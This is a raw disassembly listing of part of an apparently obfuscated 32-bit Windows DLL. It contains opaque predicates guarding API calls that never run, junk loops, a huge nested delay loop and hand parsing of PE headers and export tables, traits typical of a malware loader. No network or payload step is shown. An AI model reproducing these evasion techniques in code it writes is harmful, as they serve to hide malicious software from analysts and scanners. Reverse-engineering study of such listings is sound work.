je 0x10018fc1
mov dword [ebp - 0x758], 1
jmp 0x10018fc8
and dword [ebp - 0x758], 0
push 0
lea ecx, [ebp - 0x7d4]
call fcn.1001e97a
mov ecx, dword [ebp - 0x758]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4f0]
mov dword [ebp - 0xb38], eax
mov eax, dword [ebp - 0x8a8]
mov dword [ebp - 0xb44], eax
cmp dword [ebp - 0x180], 0x8a0c0902
jne 0x1001900d
mov dword [ebp - 0x650], 1
jmp 0x10019014
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x12c], 0
jmp 0x10019039
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x1b
jl 0x1001906f
mov byte [ebp - 0x104], 0
movzx eax, byte [ebp - 0x104]
test eax, eax
je 0x10019062
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
cmp dword [ebp - 0x180], 0
je 0x1001906d
jmp 0x1001902c
jmp 0x1001902c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7d4]
call fcn.1001e95e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1ac]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x10019202
mov dword [ebp - 0xd4], 0xc45c
push 4
lea ecx, [ebp - 0x9b8]
call fcn.1001e8dc
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x220], 0
jmp 0x100190d0
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 4
jge 0x100190f2
push dword [ebp - 0x220]
lea ecx, [ebp - 0x9b8]
call fcn.1001e97a
mov dword [eax], 0x6f9b2cfb
jmp 0x100190c3
mov dword [ebp - 0xd4], 7
mov dword [ebp - 0xd4], 0
jmp 0x10019115
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 3
jg 0x100191c7
mov dword [ebp - 0x294], 0xfffffffc
mov dword [ebp - 0x294], 0
jmp 0x10019145
cmp dword [ebp - 0x294], 3
jg 0x1001919a
mov dword [ebp - 0x228], 0xb7f37c04
mov dword [ebp - 0x228], 3
jmp 0x10019171
cmp dword [ebp - 0x228], 0
jl 0x10019198
push dword [ebp - 0xd4]
lea ecx, [ebp - 0x9b8]
call fcn.1001e97a
mov esi, eax
push dword [ebp - 0xd4]
lea ecx, [ebp - 0x9b8]
call fcn.1001e97a
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x10019108
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9b8]
call fcn.1001e95e
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x1ac]
inc eax
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x1ac]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x24], eax
jmp 0x10018e21
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x164]
movzx eax, byte [ebp + eax - 0x1ae]
movsx eax, byte [ebp + eax - 0x814]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x1ab]
and ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x164]
movzx eax, byte [ebp + eax - 0x1ae]
movsx eax, byte [ebp + eax - 0x814]
mov edx, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0x1ab]
and edx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x164]
movzx eax, byte [ebp + eax - 0x1ae]
movsx eax, byte [ebp + eax - 0x814]
mov esi, dword [ebp - 0x24]
movzx ebx, byte [ebp + esi - 0x1ab]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x1ac]
mov byte [ebp + eax - 0x814], bl
mov dword [ebp - 0x700], 6
mov dword [ebp - 0x300], 0x8f0a
mov dword [ebp - 0x320], 0x4320e32c
mov dword [ebp - 0x340], 0xb42b
mov dword [ebp - 0x158], 0xffffffff
mov dword [ebp - 0xb60], 2
mov dword [ebp - 0xb68], 1
mov dword [ebp - 0x874], 1
mov dword [ebp - 0xb70], 0
mov dword [ebp - 0x8b8], 0xea6ae202
push 3
lea ecx, [ebp - 0xa28]
call fcn.1001e8dc
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x708], 0xb22489af
mov dword [ebp - 0x29c], 0
jmp 0x10019325
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 3
jge 0x10019347
push dword [ebp - 0x29c]
lea ecx, [ebp - 0xa28]
call fcn.1001e97a
mov dword [eax], 3
jmp 0x10019318
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x320]
neg eax
sub eax, dword [ebp - 0x340]
cmp eax, 0xfffffff8
jg 0x10019373
mov dword [ebp - 0x500], 1
jmp 0x1001937a
and dword [ebp - 0x500], 0
mov dword [ebp - 0x700], 0x6f5a
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x300]
cmp eax, dword [ebp - 0x500]
je 0x100193aa
mov dword [ebp - 0x658], 1
jmp 0x100193b1
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x158]
cmp dword [ebp - 0x658], eax
jne 0x100193cb
mov dword [ebp - 0x508], 1
jmp 0x100193d2
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x508]
dec eax
cmp eax, dword [ebp - 0x320]
je 0x10019417
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x10019412
push 0x4de
push 0x15d8
push 0x2157
push 0x2205
push 0x1bff
call dword [sym.imp.GDI32.dll_IntersectClipRect]
jmp 0x100196a2
mov dword [ebp - 0x660], 0xe6a4
mov dword [ebp - 0x87c], 0x7268f57f
mov dword [ebp - 0x868], 0xbfeed1b4
mov dword [ebp - 0xb78], 0xfffffffa
mov dword [ebp - 0xc10], 0xfffffff9
mov dword [ebp - 0xdc], 4
mov dword [ebp - 0x8b0], 1
mov dword [ebp - 0x230], 0
jmp 0x10019476
cmp dword [ebp - 0x230], 4
jge 0x10019492
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x814], 0
push 4
lea ecx, [ebp - 0xba8]
call fcn.1001e8dc
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x994], 0
mov dword [ebp - 0x60], 0
jmp 0x1001971b
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 4
jge 0x10019737
push dword [ebp - 0x60]
lea ecx, [ebp - 0xba8]
call fcn.1001e97a
mov dword [eax], 0x6c05baf4
jmp 0x10019714
mov dword [ebp - 0x60], 0
jmp 0x10019747
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x1001975d
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x7bc], 0x8da8e97e
jmp 0x10019740
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x7bc], 0
jmp 0x1001978b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7bc]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x7bc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7bc], 3
jg 0x100197c0
mov byte [ebp - 0x100], 0
movzx eax, byte [ebp - 0x100]
test eax, eax
je 0x100197be
push 0
push 0
push 0
push 0x965
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
jmp 0x10019770
mov dword [ebp - 0x994], 0xd3c891c5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xba8]
call fcn.1001e95e
lea eax, [ebp - 0x814]
push eax
lea ecx, [ebp - 0xd6c]
call fcn.1001e845
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x884]
mov dword [ebp - 0x904], eax
mov dword [ebp - 4], 0x12
mov edx, dword [ebp - 0x530]
mov ecx, dword [ebp - 0x904]
call fcn.1000a2e8
mov dword [0x1061656c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd6c]
call fcn.1001e868
mov dword [ebp - 0x16c], 0x48261f9c
mov dword [ebp - 0x2a4], 0
jmp 0x1001984c
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 2
jge 0x10019868
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0xb40], 0xf2887cf2
jmp 0x1001983f
mov dword [ebp - 0x16c], 6
jmp 0x10019881
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0xffffffe8
jg 0x100198dd
mov dword [ebp - 0x88c], 1
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0xc20], eax
mov eax, dword [ebp - 0x88c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xb40], eax
mov byte [ebp - 0xd5], 0
movzx eax, byte [ebp - 0xd5]
test eax, eax
je 0x100198db
push 0
push 0
push 0x1dac
push 0x1035
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
jmp 0x10019874
and dword [ebp - 0x238], 0
jmp 0x100198f3
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0xf
jae 0x1001990c
mov eax, dword [ebp - 0x238]
mov byte [ebp + eax - 0x814], 0
jmp 0x100198e6
mov dword [ebp - 0x134], 0xffffffff
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0xc28], 0xfffffffa
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x14c], 0xa
jmp 0x1001994f
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x13
jg 0x10019a7e
mov dword [ebp - 0x538], 0xe00f6802
mov dword [ebp - 0x134], 0xfffffff7
jmp 0x1001997f
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x10
jg 0x10019a79
mov dword [ebp - 0x2ac], 0
jmp 0x100199a5
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 3
jge 0x100199c1
mov eax, dword [ebp - 0x2ac]
mov dword [ebp + eax*4 - 0x7b4], 0xffffffff
jmp 0x10019998
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x7b4], 1
jmp 0x100199ef
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7b4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7b4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7b4], 0xfffffff3
jle 0x10019a61
mov dword [ebp - 0x974], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7b4]
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xc30], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7b4]
cmp eax, dword [ebp - 0x134]
jne 0x10019a49
mov dword [ebp - 0x670], 1
jmp 0x10019a50
and dword [ebp - 0x670], 0
mov eax, dword [ebp - 0x670]
mov dword [ebp - 0x974], eax
jmp 0x100199d4
mov eax, dword [ebp - 0x538]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7b4], eax
jmp 0x10019972
jmp 0x10019942
mov eax, dword [0x1061654c]
cmp eax, dword [ebp - 0x1dc]
je 0x10019a98
mov eax, dword [0x1061656c]
cmp eax, dword [ebp - 0x1dc]
jne 0x10019ab0
mov ecx, dword [ebp + 0xc]
call fcn.1001e67c
push eax
push dword [ebp + 8]
call fcn.100111fe
pop ecx
pop ecx
jmp 0x1001cbf3
mov dword [ebp - 0x4c], 0xec2e0cf5
mov dword [ebp - 0x548], 0
mov dword [ebp - 0x89c], 0xbc21b07f
mov dword [ebp - 0x4c], 4
jmp 0x10019adb
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x16
jle 0x10019c65
mov dword [ebp - 0x710], 0xa00d
push 4
lea ecx, [ebp - 0xa58]
call fcn.1001e8dc
mov dword [ebp - 4], 0x13
push 4
lea ecx, [ebp - 0xa40]
call fcn.1001e8dc
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x540], 0xffffffff
mov dword [ebp - 0x914], 8
mov dword [ebp - 0x64], 0
jmp 0x10019b38
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x10019b54
push dword [ebp - 0x64]
lea ecx, [ebp - 0xa58]
call fcn.1001e97a
mov dword [eax], 0x4c20f746
jmp 0x10019b31
mov dword [ebp - 0x64], 0
jmp 0x10019b64
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x10019b80
push dword [ebp - 0x64]
lea ecx, [ebp - 0xa40]
call fcn.1001e97a
mov dword [eax], 0xe5034859
jmp 0x10019b5d
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xc38], eax
cmp dword [ebp - 0x4c], 0
je 0x10019bb2
xor eax, eax
inc eax
sub eax, dword [ebp - 0x710]
cmp eax, dword [ebp - 0x710]
je 0x10019ba6
cmp dword [ebp - 0x4c], 0
je 0x10019bb2
mov dword [ebp - 0x308], 1
jmp 0x10019bb9
and dword [ebp - 0x308], 0
push 3
lea ecx, [ebp - 0xa58]
call fcn.1001e97a
mov ecx, dword [ebp - 0x308]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x308]
jl 0x10019be5
mov dword [ebp - 0x894], 1
jmp 0x10019bec
and dword [ebp - 0x894], 0
push 1
lea ecx, [ebp - 0xa40]
call fcn.1001e97a
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x540], eax
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x914], eax
cmp dword [ebp - 0x4c], 0x5da2a0c0
jg 0x10019c23
mov dword [ebp - 0x678], 1
jmp 0x10019c2a
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x678]
mov dword [ebp - 0x548], eax
mov eax, dword [ebp - 0x548]
mov dword [ebp - 0x89c], eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xa40]
call fcn.1001e95e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa58]
call fcn.1001e95e
jmp 0x10019ad4
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x174], 0x6b6c
mov dword [ebp - 0x924], 0x397bde51
mov dword [ebp - 0xc40], 2
mov dword [ebp - 0x588], 0xffffffff
mov dword [ebp - 0x6c], 0
jmp 0x10019cad
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x10019cc3
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xd04], 1
jmp 0x10019ca6
mov dword [ebp - 0x6c], 0
jmp 0x10019cd3
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 4
jge 0x10019ce9
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xd7c], 0x42069719
jmp 0x10019ccc
cmp dword [ebp - 0x1c], 1
jne 0x10019cfb
mov dword [ebp - 0x558], 1
jmp 0x10019d02
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc48], eax
cmp dword [ebp - 0x1c], 0x8a06
jg 0x10019d20
mov dword [ebp - 0x730], 1
jmp 0x10019d27
and dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x730], eax
jge 0x10019d3e
mov dword [ebp - 0x550], 1
jmp 0x10019d45
and dword [ebp - 0x550], 0
cmp dword [ebp - 0x550], 0xc2da
jl 0x10019d5d
mov dword [ebp - 0x680], 1
jmp 0x10019d64
and dword [ebp - 0x680], 0
cmp dword [ebp - 0x680], 0
jle 0x10019d79
mov dword [ebp - 0x718], 1
jmp 0x10019d80
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x558]
sub eax, dword [ebp - 0x718]
cmp eax, dword [ebp - 0x1c]
jg 0x10019d9d
mov dword [ebp - 0x560], 1
jmp 0x10019da4
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x560], eax
je 0x10019dbb
mov dword [ebp - 0x688], 1
jmp 0x10019dc2
and dword [ebp - 0x688], 0
imul eax, dword [ebp - 0x688], 0x9f5f
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
cmp ecx, dword [ebp - 0x174]
je 0x1001a009
mov dword [ebp - 0x98c], 0xfffffff7
push 2
lea ecx, [ebp - 0x940]
call fcn.1001e8dc
mov dword [ebp - 4], 0x15
push 3
lea ecx, [ebp - 0xa7c]
call fcn.1001e8dc
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x74], 0
jmp 0x10019e1c
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jge 0x10019e35
push dword [ebp - 0x74]
lea ecx, [ebp - 0x940]
call fcn.1001e97a
and dword [eax], 0
jmp 0x10019e15
mov dword [ebp - 0x74], 0
jmp 0x10019e45
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jge 0x10019e61
push dword [ebp - 0x74]
lea ecx, [ebp - 0xa7c]
call fcn.1001e97a
mov dword [eax], 0x9f5ab171
jmp 0x10019e3e
mov eax, 0x860b
test eax, eax
je 0x10019e8d
mov eax, dword [ebp - 0x98c]
mov dword [ebp - 0xc64], eax
mov esi, dword [ebp - 0x174]
push 1
lea ecx, [ebp - 0x940]
call fcn.1001e97a
cmp dword [eax], esi
jle 0x10019e9c
cmp dword [ebp - 0x1c], 0
jne 0x10019e9c
and dword [ebp - 0x568], 0
jmp 0x10019ea6
mov dword [ebp - 0x568], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x568], eax
jl 0x10019ebd
mov dword [ebp - 0x734], 1
jmp 0x10019ec4
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x174]
sub eax, dword [ebp - 0x734]
cmp eax, 0xd383de46
jb 0x10019ee3
mov dword [ebp - 0x570], 1
jmp 0x10019eea
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x570]
sub eax, dword [ebp - 0x174]
je 0x10019f08
xor eax, eax
je 0x10019f08
mov dword [ebp - 0x690], 1
jmp 0x10019f0f
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x690], eax
jl 0x10019f26
mov dword [ebp - 0x578], 1
jmp 0x10019f2d
and dword [ebp - 0x578], 0
push 0
lea ecx, [ebp - 0x940]
call fcn.1001e97a
mov ecx, dword [ebp - 0x578]
cmp ecx, dword [eax]
je 0x10019f50
mov dword [ebp - 0x720], 1
jmp 0x10019f57
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xf9150fae
jae 0x10019f75
mov dword [ebp - 0x580], 1
jmp 0x10019f7c
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0x580]
sub eax, 0xa9c1
je 0x10019fa7
push 1
lea ecx, [ebp - 0x940]
call fcn.1001e97a
cmp dword [eax], 0
je 0x10019fa7
mov dword [ebp - 0x8a4], 1
jmp 0x10019fae
and dword [ebp - 0x8a4], 0
cmp dword [ebp - 0x174], 0x40cc74bf
je 0x10019fc6
mov dword [ebp - 0x698], 1
jmp 0x10019fcd
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x698]
mov dword [ebp - 0x924], eax
push 0
lea ecx, [ebp - 0xa7c]
call fcn.1001e97a
or dword [eax], 0xffffffff
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xa7c]
call fcn.1001e95e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x940]
call fcn.1001e95e
jmp 0x1001a039
mov byte [ebp - 0xdd], 0
movzx eax, byte [ebp - 0xdd]
test eax, eax
je 0x1001a039
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov dword [ebp - 0x1c], 0
jmp 0x1001a049
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jg 0x1001a0c9
mov dword [ebp - 0xac4], 0xd6b1f848
push 4
lea ecx, [ebp - 0xbb8]
call fcn.1001e8dc
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x240], 0
jmp 0x1001a086
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 4
jge 0x1001a0a8
push dword [ebp - 0x240]
lea ecx, [ebp - 0xbb8]
call fcn.1001e97a
mov dword [eax], 0x6a332e52
jmp 0x1001a079
mov eax, dword [ebp - 0x588]
dec eax
mov dword [ebp - 0x588], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbb8]
call fcn.1001e95e
jmp 0x1001a042
cmp dword [ebp - 0x2b4], 0
je 0x1001c768
mov eax, dword [ebp - 0x2b4]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1001c768
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [ebp - 0x2b4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x184], ecx
push 2
lea ecx, [ebp - 0xaa0]
call fcn.1001e8dc
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x17c], 0x622ba394
mov dword [ebp - 0x8ac], 4
mov dword [ebp - 0x248], 0
jmp 0x1001a140
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 2
jge 0x1001a162
push dword [ebp - 0x248]
lea ecx, [ebp - 0xaa0]
call fcn.1001e97a
mov dword [eax], 1
jmp 0x1001a133
mov dword [ebp - 0x17c], 0
jmp 0x1001a17b
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 1
jg 0x1001a235
push 4
lea ecx, [ebp - 0xa94]
call fcn.1001e8dc
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x2bc], 0
jmp 0x1001a1b2
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 4
jge 0x1001a1d4
push dword [ebp - 0x2bc]
lea ecx, [ebp - 0xa94]
call fcn.1001e97a
mov dword [eax], 0xfbb4
jmp 0x1001a1a5
push 0
lea ecx, [ebp - 0xa94]
call fcn.1001e97a
mov dword [eax], 0xefc07e17
push dword [ebp - 0x17c]
lea ecx, [ebp - 0xaa0]
call fcn.1001e97a
cmp dword [eax], 0
je 0x1001a20e
xor eax, eax
inc eax
je 0x1001a20e
mov dword [ebp - 0x73c], 1
jmp 0x1001a215
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x8ac], eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xa94]
call fcn.1001e95e
jmp 0x1001a16e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaa0]
call fcn.1001e95e
mov eax, dword [ebp - 0x184]
cmp dword [eax], 0x4550
jne 0x1001c768
mov eax, dword [ebp - 0x184]
cmp dword [eax + 0x74], 0
jbe 0x1001c768
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x184]
cmp dword [ecx + eax + 0x78], 0
je 0x1001c768
mov dword [ebp - 0x290], 0xfffffff6
mov dword [ebp - 0x2c4], 0
jmp 0x1001a2a0
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 1
jge 0x1001a2bc
mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0xbfc], 0x4ec2
jmp 0x1001a293
mov dword [ebp - 0x290], 0
jmp 0x1001a2d5
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0
jg 0x1001a2fe
mov byte [ebp - 0x106], 0
movzx eax, byte [ebp - 0x106]
test eax, eax
je 0x1001a2fc
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
jmp 0x1001a2c8
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x1001a31d
push 0
push 0x25d5
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x118], 0xcea5d6c0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2a0], 0x7249aaed
mov dword [ebp - 0x278], 0x1943c6fe
mov dword [ebp - 0x5b0], 0xba10
mov dword [ebp - 0x2d4], 0x2b46fac5
mov dword [ebp - 0x258], 0
jmp 0x1001a378
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 4
jge 0x1001a394
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0x7f4], 1
jmp 0x1001a36b
mov dword [ebp - 0x118], 0
jmp 0x1001a3ad
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xfffffffd
jge 0x1001a683
mov dword [ebp - 0x1cc], 0xeede0b40
mov dword [ebp - 0x370], 0x5c5d
mov dword [ebp - 0x8b4], 0x100079ec
cmp dword [ebp - 0x370], 0x5eb7
jle 0x1001a4ee
and dword [ebp - 0x298], 0
jmp 0x1001a3fe
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x4380
jge 0x1001a4ee
and dword [ebp - 0x2b0], 0
jmp 0x1001a424
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x3d9b
jge 0x1001a4e9
and dword [ebp - 0x260], 0
jmp 0x1001a44a
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x2074
jge 0x1001a4e4
and dword [ebp - 0x268], 0
jmp 0x1001a470
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x7d5d
jge 0x1001a4df
mov eax, dword [ebp - 0x2b0]
sub eax, dword [ebp - 0x260]
xor eax, dword [ebp - 0x298]
xor eax, dword [ebp - 0x268]
cdq
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x83c], edx
push dword [ebp - 0x83c]
push dword [ebp - 0x840]
lea ecx, [ebp - 0xd54]
call fcn.1000a23e
pop ecx
pop ecx
mov dword [ebp - 0x97c], eax
mov ecx, dword [ebp - 0x97c]
call fcn.1001e67c
push eax
call fcn.1005556f
pop ecx
lea ecx, [ebp - 0xd54]
call fcn.1001e672
jmp 0x1001a463
jmp 0x1001a43d
jmp 0x1001a417
jmp 0x1001a3f1
mov dword [ebp - 0x270], 1
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x370], 0x5937
jge 0x1001a517
push dword [ebp - 0x8b4]
call fcn.1005556f
pop ecx
jmp 0x1001a533
or dword [ebp - 4], 0xffffffff
jmp 0x1001a53d
mov dword [ebp - 0x330], 0xfffffff9
mov dword [ebp - 0x1cc], 0
jmp 0x1001a560
mov eax, dword [ebp - 0x1cc]
dec eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0xffffffea
je 0x1001a67e
mov dword [ebp - 0x72c], 0x4a75
mov dword [ebp - 0x5a8], 7
cmp dword [ebp - 0x278], 0xfffa
jb 0x1001a599
mov dword [ebp - 0x6a0], 1
jmp 0x1001a5a0
and dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x330]
dec eax
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x330]
cmp eax, dword [ebp - 0x6a0]
jle 0x1001a5c7
mov dword [ebp - 0x5a0], 1
jmp 0x1001a5ce
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x72c]
imul eax, dword [ebp - 0x270]
cmp dword [ebp - 0x278], eax
jl 0x1001a5ef
mov dword [ebp - 0x598], 1
jmp 0x1001a5f6
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x270]
cmp dword [ebp - 0x598], eax
je 0x1001a60b
cmp dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x72c]
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x270]
cmp dword [ebp - 0x5a0], eax
jle 0x1001a637
mov dword [ebp - 0x6a8], 1
jmp 0x1001a63e
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0x6a8]
mov dword [ebp - 0x5a8], eax
